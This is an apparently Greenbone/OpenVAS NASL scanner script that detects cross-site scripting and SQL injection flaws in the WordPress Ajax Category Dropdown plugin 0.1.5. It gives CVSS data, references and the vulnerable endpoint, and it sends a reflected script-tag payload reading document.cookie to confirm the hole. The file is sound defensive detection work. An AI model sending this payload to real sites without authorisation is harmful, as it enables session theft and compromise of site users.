WordPress Ajax Category Dropdown Plugin Cross Site Scripting and SQL Injection Vulnerabilities

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902505");
  script_version("2025-03-05T05:38:53+0000");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:53 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2011-05-02 12:20:04 +0200 (Mon, 02 May 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("WordPress Ajax Category Dropdown Plugin Cross Site Scripting and SQL Injection Vulnerabilities");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/100686/ajaxcdwp-sqlxss.txt");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47529");
  script_xref(name:"URL", value:"http://www.htbridge.ch/advisory/xss_in_ajax_category_dropdown_wordpress_plugin.html");
  script_xref(name:"URL", value:"http://www.htbridge.ch/advisory/multiple_sql_injection_in_ajax_category_dropdown_wordpress_plugin.html");

  script_tag(name:"impact", value:"Successful exploitation could allow an attacker to steal cookie

  - based authentication credentials, compromise the application, access or modify
  data, or exploit latent vulnerabilities in the underlying database.");

  script_tag(name:"affected", value:"WordPress Ajax Category Dropdown Plugin version 0.1.5");

  script_tag(name:"insight", value:"The flaw is due to failure in the '/wp-content/plugins/
  ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php' script to
  properly sanitize user-supplied input.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective
  features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"WordPress Ajax Category Dropdown Plugin is prone to cross site scripting and SQL injection vulnerabilities.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = string(dir, '/wp-content/plugins/ajax-category-dropdown/includes/dhat-ajax-cat-dropdown-request.php?admin&category_id="><script>alert(document.cookie);</script>');

if(http_vuln_check(port:port, url:url, check_header:TRUE, pattern:"<script>alert\(document\.cookie\);</script>")) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);